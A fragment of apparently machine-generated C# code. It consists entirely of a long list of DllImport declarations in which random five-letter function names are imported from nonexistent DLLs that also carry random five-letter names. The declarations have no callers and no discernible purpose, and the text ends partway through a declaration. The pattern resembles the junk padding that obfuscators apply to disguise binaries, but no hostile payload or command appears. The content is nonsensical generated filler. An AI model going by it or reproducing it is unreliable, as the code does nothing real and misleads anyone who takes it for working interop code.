  [DllImport("VpBpn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LVASA([MarshalAs(UnmanagedType.VBByRefStr)] ref string gzuRC, string[] NRObr, char sOPZv);

  [DllImport("dmbFB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eGUDI([MarshalAs(UnmanagedType.VBByRefStr)] ref string CBFqi, string[] qTugv, char BDuSv);

  [DllImport("GzMUE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dMHvQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string EreFc, string[] oDlCo, char rQFDv);

  [DllImport("ifqtI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OMiEe([MarshalAs(UnmanagedType.VBByRefStr)] ref string fgpAt, string[] VnFbs, char odHQR);

  [DllImport("mzvNQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QUGAG([MarshalAs(UnmanagedType.VBByRefStr)] ref string SMlAr, string[] dLNhI, char OdnGT);

  [DllImport("SBREH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HtUrq([MarshalAs(UnmanagedType.VBByRefStr)] ref string hHSNf, string[] dATtm, char htLbu);

  [DllImport("pUquE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] irPLo([MarshalAs(UnmanagedType.VBByRefStr)] ref string sZhih, string[] nIPVC, char ONehl);

  [DllImport("cdzbf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dBPHs([MarshalAs(UnmanagedType.VBByRefStr)] ref string spVmL, string[] LntGi, char DiGZz);

  [DllImport("CmvCz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Zleuf([MarshalAs(UnmanagedType.VBByRefStr)] ref string IcqzA, string[] HgcEF, char nsMTI);

  [DllImport("bgoEf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pmmlp([MarshalAs(UnmanagedType.VBByRefStr)] ref string etlnf, string[] DgMIr, char gBqhu);

  [DllImport("DLVAS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Foocc([MarshalAs(UnmanagedType.VBByRefStr)] ref string AVpBp, string[] ngzuR, char CNROb);

  [DllImport("veGUD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rsOPZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string IdmbF, string[] BCBFq, char iqTug);

  [DllImport("vdMHv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vBDuS([MarshalAs(UnmanagedType.VBByRefStr)] ref string QGzMU, string[] EEreF, char coDlC);

  [DllImport("vOMiE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] orQFD([MarshalAs(UnmanagedType.VBByRefStr)] ref string eifqt, string[] IfgpA, char tVnFb);

  [DllImport("RQUGA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sodHQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string GmzvN, string[] QSMlA, char rdLNh);

  [DllImport("THtUr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IOdnG([MarshalAs(UnmanagedType.VBByRefStr)] ref string qSBRE, string[] HhHSN, char fdATt);

  [DllImport("uirPL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mhtLb([MarshalAs(UnmanagedType.VBByRefStr)] ref string opUqu, string[] EsZhi, char hnIPV);

  [DllImport("ldBPH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CONeh([MarshalAs(UnmanagedType.VBByRefStr)] ref string scdzb, string[] fspVm, char LLntG);

  [DllImport("zZleu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iDiGZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string fCmvC, string[] zIcqz, char AHgcE);

  [DllImport("Ipmml.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FnsMT([MarshalAs(UnmanagedType.VBByRefStr)] ref string pbgoE, string[] fetln, char fDgMI);

  [DllImport("uFooc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rgBqh([MarshalAs(UnmanagedType.VBByRefStr)] ref string cDLVA, string[] SAVpB, char pngzu);

  [DllImport("brsOP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RCNRO([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZveGU, string[] DIdmb, char FBCBF);

  [DllImport("gvBDu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qiqTu([MarshalAs(UnmanagedType.VBByRefStr)] ref string SvdMH, string[] vQGzM, char UEEre);

  [DllImport("CorQF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FcoDl([MarshalAs(UnmanagedType.VBByRefStr)] ref string DvOMi, string[] Eeifq, char tIfgp);

  [DllImport("bsodH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AtVnF([MarshalAs(UnmanagedType.VBByRefStr)] ref string QRQUG, string[] AGmzv, char NQSMl);

  [DllImport("hIOdn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ArdLN([MarshalAs(UnmanagedType.VBByRefStr)] ref string GTHtU, string[] rqSBR, char EHhHS);

  [DllImport("tmhtL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NfdAT([MarshalAs(UnmanagedType.VBByRefStr)] ref string buirP, string[] LopUq, char uEsZh);

  [DllImport("VCONe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ihnIP([MarshalAs(UnmanagedType.VBByRefStr)] ref string hldBP, string[] Hscdz, char bfspV);

  [DllImport("GiDiG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mLLnt([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZzZle, string[] ufCmv, char CzIcq);

  [DllImport("EFnsM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zAHgc([MarshalAs(UnmanagedType.VBByRefStr)] ref string TIpmm, string[] lpbgo, char Efetl);

  [DllImport("IrgBq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nfDgM([MarshalAs(UnmanagedType.VBByRefStr)] ref string huFoo, string[] ccDLV, char ASAVp);

  [DllImport("uRCNR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Bpngz([MarshalAs(UnmanagedType.VBByRefStr)] ref string ObrsO, string[] PZveG, char UDIdm);

  [DllImport("FqiqT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bFBCB([MarshalAs(UnmanagedType.VBByRefStr)] ref string ugvBD, string[] uSvdM, char HvQGz);

  [DllImport("eFcoD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MUEEr([MarshalAs(UnmanagedType.VBByRefStr)] ref string lCorQ, string[] FDvOM, char iEeif);

  [DllImport("pAtVn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qtIfg([MarshalAs(UnmanagedType.VBByRefStr)] ref string Fbsod, string[] HQRQU, char GAGmz);

  [DllImport("lArdL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vNQSM([MarshalAs(UnmanagedType.VBByRefStr)] ref string NhIOd, string[] nGTHt, char UrqSB);

  [DllImport("SNfdA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] REHhH([MarshalAs(UnmanagedType.VBByRefStr)] ref string Ttmht, string[] Lbuir, char PLopU);

  [DllImport("hihnI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] quEsZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string PVCON, string[] ehldB, char PHscd);

  [DllImport("VmLLn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zbfsp([MarshalAs(UnmanagedType.VBByRefStr)] ref string tGiDi, string[] GZzZl, char eufCm);

  [DllImport("qzAHg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vCzIc([MarshalAs(UnmanagedType.VBByRefStr)] ref string cEFns, string[] MTIpm, char mlpbg);

  [DllImport("lnfDg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oEfet([MarshalAs(UnmanagedType.VBByRefStr)] ref string MIrgB, string[] qhuFo, char occDL);

  [DllImport("pBpng.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VASAV([MarshalAs(UnmanagedType.VBByRefStr)] ref string zuRCN, string[] RObrs, char OPZve);

  [DllImport("mbFBC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GUDId([MarshalAs(UnmanagedType.VBByRefStr)] ref string BFqiq, string[] TugvB, char DuSvd);

  [DllImport("zMUEE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MHvQG([MarshalAs(UnmanagedType.VBByRefStr)] ref string reFco, string[] DlCor, char QFDvO);

  [DllImport("fqtIf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MiEei([MarshalAs(UnmanagedType.VBByRefStr)] ref string gpAtV, string[] nFbso, char dHQRQ);

  [DllImport("zvNQS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UGAGm([MarshalAs(UnmanagedType.VBByRefStr)] ref string MlArd, string[] LNhIO, char dnGTH);

  [DllImport("BREHh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tUrqS([MarshalAs(UnmanagedType.VBByRefStr)] ref string HSNfd, string[] ATtmh, char tLbui);

  [DllImport("UquEs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rPLop([MarshalAs(UnmanagedType.VBByRefStr)] ref string Zhihn, string[] IPVCO, char Nehld);

  [DllImport("dzbfs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BPHsc([MarshalAs(UnmanagedType.VBByRefStr)] ref string pVmLL, string[] ntGiD, char iGZzZ);

  [DllImport("mvCzI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] leufC([MarshalAs(UnmanagedType.VBByRefStr)] ref string cqzAH, string[] gcEFn, char sMTIp);

  [DllImport("goEfe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mmlpb([MarshalAs(UnmanagedType.VBByRefStr)] ref string tlnfD, string[] gMIrg, char BqhuF);

  [DllImport("LVASA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ooccD([MarshalAs(UnmanagedType.VBByRefStr)] ref string VpBpn, string[] gzuRC, char NRObr);

  [DllImport("eGUDI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sOPZv([MarshalAs(UnmanagedType.VBByRefStr)] ref string dmbFB, string[] CBFqi, char qTugv);

  [DllImport("dMHvQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BDuSv([MarshalAs(UnmanagedType.VBByRefStr)] ref string GzMUE, string[] EreFc, char oDlCo);

  [DllImport("OMiEe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rQFDv([MarshalAs(UnmanagedType.VBByRefStr)] ref string ifqtI, string[] fgpAt, char VnFbs);

  [DllImport("QUGAG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] odHQR([MarshalAs(UnmanagedType.VBByRefStr)] ref string mzvNQ, string[] SMlAr, char dLNhI);

  [DllImport("HtUrq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OdnGT([MarshalAs(UnmanagedType.VBByRefStr)] ref string SBREH, string[] hHSNf, char dATtm);

  [DllImport("irPLo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] htLbu([MarshalAs(UnmanagedType.VBByRefStr)] ref string pUquE, string[] sZhih, char nIPVC);

  [DllImport("dBPHs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ONehl([MarshalAs(UnmanagedType.VBByRefStr)] ref string cdzbf, string[] spVmL, char LntGi);

  [DllImport("Zleuf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DiGZz([MarshalAs(UnmanagedType.VBByRefStr)] ref string CmvCz, string[] IcqzA, char HgcEF);

  [DllImport("pmmlp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nsMTI([MarshalAs(UnmanagedType.VBByRefStr)] ref string bgoEf, string[] etlnf, char DgMIr);

  [DllImport("Foocc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gBqhu([MarshalAs(UnmanagedType.VBByRefStr)] ref string DLVAS, string[] AVpBp, char ngzuR);

  [DllImport("rsOPZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CNROb([MarshalAs(UnmanagedType.VBByRefStr)] ref string veGUD, string[] IdmbF, char BCBFq);

  [DllImport("vBDuS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iqTug([MarshalAs(UnmanagedType.VBByRefStr)] ref string vdMHv, string[] QGzMU, char EEreF);

  [DllImport("orQFD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] coDlC([MarshalAs(UnmanagedType.VBByRefStr)] ref string vOMiE, string[] eifqt, char IfgpA);

  [DllImport("sodHQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tVnFb([MarshalAs(UnmanagedType.VBByRefStr)] ref string RQUGA, string[] GmzvN, char QSMlA);

  [DllImport("IOdnG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rdLNh([MarshalAs(UnmanagedType.VBByRefStr)] ref string THtUr, string[] qSBRE, char HhHSN);

  [DllImport("mhtLb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fdATt([MarshalAs(UnmanagedType.VBByRefStr)] ref string uirPL, string[] opUqu, char EsZhi);

  [DllImport("CONeh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hnIPV([MarshalAs(UnmanagedType.VBByRefStr)] ref string ldBPH, string[] scdzb, char fspVm);

  [DllImport("iDiGZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LLntG([MarshalAs(UnmanagedType.VBByRefStr)] ref string zZleu, string[] fCmvC, char zIcqz);

  [DllImport("FnsMT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AHgcE([MarshalAs(UnmanagedType.VBByRefStr)] ref string Ipmml, string[] pbgoE, char fetln);

  [DllImport("rgBqh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fDgMI([MarshalAs(UnmanagedType.VBByRefStr)] ref string uFooc, string[] cDLVA, char SAVpB);

  [DllImport("RCNRO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pngzu([MarshalAs(UnmanagedType.VBByRefStr)] ref string brsOP, string[] ZveGU, char DIdmb);

  [DllImport("qiqTu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FBCBF([MarshalAs(UnmanagedType.VBByRefStr)] ref string gvBDu, string[] SvdMH, char vQGzM);

  [DllImport("FcoDl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UEEre([MarshalAs(UnmanagedType.VBByRefStr)] ref string CorQF, string[] DvOMi, char Eeifq);

  [DllImport("AtVnF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tIfgp([MarshalAs(UnmanagedType.VBByRefStr)] ref string bsodH, string[] QRQUG, char AGmzv);

  [DllImport("ArdLN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NQSMl([MarshalAs(UnmanagedType.VBByRefStr)] ref string hIOdn, string[] GTHtU, char rqSBR);

  [DllImport("NfdAT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EHhHS([MarshalAs(UnmanagedType.VBByRefStr)] ref string tmhtL, string[] buirP, char LopUq);

  [DllImport("ihnIP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uEsZh([MarshalAs(UnmanagedType.VBByRefStr)] ref string VCONe, string[] hldBP, char Hscdz);

  [DllImport("mLLnt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bfspV([MarshalAs(UnmanagedType.VBByRefStr)] ref string GiDiG, string[] ZzZle, char ufCmv);

  [DllImport("zAHgc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CzIcq([MarshalAs(UnmanagedType.VBByRefStr)] ref string EFnsM, string[] TIpmm, char lpbgo);

  [DllImport("nfDgM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Efetl([MarshalAs(UnmanagedType.VBByRefStr)] ref string IrgBq, string[] huFoo, char ccDLV);

  [DllImport("Bpngz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ASAVp([MarshalAs(UnmanagedType.VBByRefStr)] ref string uRCNR, string[] ObrsO, char PZveG);

  [DllImport("bFBCB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UDIdm([MarshalAs(UnmanagedType.VBByRefStr)] ref string FqiqT, string[] ugvBD, char uSvdM);

  [DllImport("MUEEr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HvQGz([MarshalAs(UnmanagedType.VBByRefStr)] ref string eFcoD, string[] lCorQ, char FDvOM);

  [DllImport("qtIfg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iEeif([MarshalAs(UnmanagedType.VBByRefStr)] ref string pAtVn, string[] Fbsod, char HQRQU);

  [DllImport("vNQSM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GAGmz([MarshalAs(UnmanagedType.VBByRefStr)] ref string lArdL, string[] NhIOd, char nGTHt);

  [DllImport("REHhH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UrqSB([MarshalAs(UnmanagedType.VBByRefStr)] ref string SNfdA, string[] Ttmht, char Lbuir);

  [DllImport("quEsZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PLopU([MarshalAs(UnmanagedType.VBByRefStr)] ref string hihnI, string[] PVCON, char ehldB);

  [DllImport("zbfsp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PHscd([MarshalAs(UnmanagedType.VBByRefStr)] ref string VmLLn, string[] tGiDi, char GZzZl);

  [DllImport("vCzIc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eufCm([MarshalAs(UnmanagedType.VBByRefStr)] ref string qzAHg, string[] cEFns, char MTIpm);

  [DllImport("oEfet.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mlpbg([MarshalAs(UnmanagedType.VBByRefStr)] ref string lnfDg, string[] MIrgB, char qhuFo);

  [DllImport("VASAV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] occDL([MarshalAs(UnmanagedType.VBByRefStr)] ref string pBpng, string[] zuRCN, char RObrs);

  [DllImport("GUDId.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OPZve([MarshalAs(UnmanagedType.VBByRefStr)] ref string mbFBC, string[] BFqiq, char TugvB);

  [DllImport("MHvQG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DuSvd([MarshalAs(UnmanagedType.VBByRefStr)] ref string zMUEE, string[] reFco, char DlCor);

  [DllImport("MiEei.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QFDvO([MarshalAs(UnmanagedType.VBByRefStr)] ref string fqtIf, string[] gpAtV, char nFbso);

  [DllImport("UGAGm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dHQRQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string zvNQS, string[] MlArd, char LNhIO);

  [DllImport("tUrqS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dnGTH([MarshalAs(UnmanagedType.VBByRefStr)] ref string BREHh, string[] HSNfd, char ATtmh);

  [DllImport("rPLop.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tLbui([MarshalAs(UnmanagedType.VBByRefStr)] ref string UquEs, string[] Zhihn, char IPVCO);

  [DllImport("BPHsc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Nehld([MarshalAs(UnmanagedType.VBByRefStr)] ref string dzbfs, string[] pVmLL, char ntGiD);

  [DllImport("leufC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iGZzZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string mvCzI, string[] cqzAH, char gcEFn);

  [DllImport("mmlpb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sMTIp([MarshalAs(UnmanagedType.VBByRefStr)] ref string goEfe, string[] tlnfD, char gMIrg);

  [DllImport("ooccD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BqhuF([MarshalAs(UnmanagedType.VBByRefStr)] ref string LVASA, string[] VpBpn, char gzuRC);

  [DllImport("sOPZv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NRObr([MarshalAs(UnmanagedType.VBByRefStr)] ref string eGUDI, string[] dmbFB, char CBFqi);

  [DllImport("BDuSv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qTugv([MarshalAs(UnmanagedType.VBByRefStr)] ref string dMHvQ, string[] GzMUE, char EreFc);

  [DllImport("rQFDv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oDlCo([MarshalAs(UnmanagedType.VBByRefStr)] ref string OMiEe, string[] ifqtI, char fgpAt);

  [DllImport("odHQR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VnFbs([MarshalAs(UnmanagedType.VBByRefStr)] ref string QUGAG, string[] mzvNQ, char SMlAr);

  [DllImport("OdnGT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dLNhI([MarshalAs(UnmanagedType.VBByRefStr)] ref string HtUrq, string[] SBREH, char hHSNf);

  [DllImport("htLbu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dATtm([MarshalAs(UnmanagedType.VBByRefStr)] ref string irPLo, string[] pUquE, char sZhih);

  [DllImport("ONehl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nIPVC([MarshalAs(UnmanagedType.VBByRefStr)] ref string dBPHs, string[] cdzbf, char spVmL);

  [DllImport("DiGZz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LntGi([MarshalAs(UnmanagedType.VBByRefStr)] ref string Zleuf, string[] CmvCz, char IcqzA);

  [DllImport("nsMTI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HgcEF([MarshalAs(UnmanagedType.VBByRefStr)] ref string pmmlp, string[] bgoEf, char etlnf);

  [DllImport("gBqhu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DgMIr([MarshalAs(UnmanagedType.VBByRefStr)] ref string Foocc, string[] DLVAS, char AVpBp);

  [DllImport("CNROb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ngzuR([MarshalAs(UnmanagedType.VBByRefStr)] ref string rsOPZ, string[] veGUD, char IdmbF);

  [DllImport("iqTug.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BCBFq([MarshalAs(UnmanagedType.VBByRefStr)] ref string vBDuS, string[] vdMHv, char QGzMU);

  [DllImport("coDlC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EEreF([MarshalAs(UnmanagedType.VBByRefStr)] ref string orQFD, string[] vOMiE, char eifqt);

  [DllImport("tVnFb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IfgpA([MarshalAs(UnmanagedType.VBByRefStr)] ref string sodHQ, string[] RQUGA, char GmzvN);

  [DllImport("rdLNh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QSMlA([MarshalAs(UnmanagedType.VBByRefStr)] ref string IOdnG, string[] THtUr, char qSBRE);

  [DllImport("fdATt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HhHSN([MarshalAs(UnmanagedType.VBByRefStr)] ref string mhtQg, string[] CpzUQ, char tvdvC);

  [DllImport("osPUe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LAfpp([MarshalAs(UnmanagedType.VBByRefStr)] ref string HTTlo, string[] qiGUP, char AhlEg);

  [DllImport("QQsCN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mAufr([MarshalAs(UnmanagedType.VBByRefStr)] ref string qIpNf, string[] EfqlC, char mHrDH);

  [DllImport("FOnhL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EQhvE([MarshalAs(UnmanagedType.VBByRefStr)] ref string NsARc, string[] Purrq, char ugntL);

  [DllImport("mLnRP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mlBqs([MarshalAs(UnmanagedType.VBByRefStr)] ref string znGvo, string[] CMuth, char hIQeG);

  [DllImport("usnFC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bFeuG([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZHSZT, string[] hzATU, char fDlNe);

  [DllImport("MHHGM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IPirg([MarshalAs(UnmanagedType.VBByRefStr)] ref string vpvcC, string[] oDGIC, char bDiRO);

  [DllImport("dMLzl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DVNER([MarshalAs(UnmanagedType.VBByRefStr)] ref string MhtIq, string[] HtzVM, char IDURp);

  [DllImport("BPmnu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Llpmz([MarshalAs(UnmanagedType.VBByRefStr)] ref string FBesM, string[] gAtiO, char ZZVdN);

  [DllImport("SVbRq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FNrEE([MarshalAs(UnmanagedType.VBByRefStr)] ref string FAiQS, string[] oPTis, char OcOBd);

  [DllImport("LOoOb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zvbGZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string SniFc, string[] BsoBQ, char gCpzU);

  [DllImport("CLAfp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Qtvdv([MarshalAs(UnmanagedType.VBByRefStr)] ref string posPU, string[] eHTTl, char oqiGU);

  [DllImport("gmAuf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PAhlE([MarshalAs(UnmanagedType.VBByRefStr)] ref string rQQsC, string[] NqIpN, char fEfql);

  [DllImport("HEQhv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CmHrD([MarshalAs(UnmanagedType.VBByRefStr)] ref string EFOnh, string[] LNsAR, char cPurr);

  [DllImport("LmlBq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qugnt([MarshalAs(UnmanagedType.VBByRefStr)] ref string smLnR, string[] PznGv, char oCMut);

  [DllImport("GbFeu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hhIQe([MarshalAs(UnmanagedType.VBByRefStr)] ref string GusnF, string[] CZHSZ, char ThzAT);

  [DllImport("eIPir.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UfDlN([MarshalAs(UnmanagedType.VBByRefStr)] ref string gMHHG, string[] Mvpvc, char CoDGI);

  [DllImport("ODVNE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CbDiR([MarshalAs(UnmanagedType.VBByRefStr)] ref string RdMLz, string[] lMhtI, char qHtzV);

  [DllImport("pLlpm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MIDUR([MarshalAs(UnmanagedType.VBByRefStr)] ref string zBPmn, string[] uFBes, char MgAti);

  [DllImport("NFNrE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OZZVd([MarshalAs(UnmanagedType.VBByRefStr)] ref string ESVbR, string[] qFAiQ, char SoPTi);

  [DllImport("dzvbG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sOcOB([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZLOoO, string[] bSniF, char cBsoB);

  [DllImport("UQtvd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QgCpz([MarshalAs(UnmanagedType.VBByRefStr)] ref string vCLAf, string[] pposP, char UeHTT);

  [DllImport("UPAhl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] loqiG([MarshalAs(UnmanagedType.VBByRefStr)] ref string EgmAu, string[] frQQs, char CNqIp);

  [DllImport("lCmHr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NfEfq([MarshalAs(UnmanagedType.VBByRefStr)] ref string DHEQh, string[] vEFOn, char hLNsA);

  [DllImport("rqugn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RcPur([MarshalAs(UnmanagedType.VBByRefStr)] ref string tLmlB, string[] qsmLn, char RPznG);

  [DllImport("thhIQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
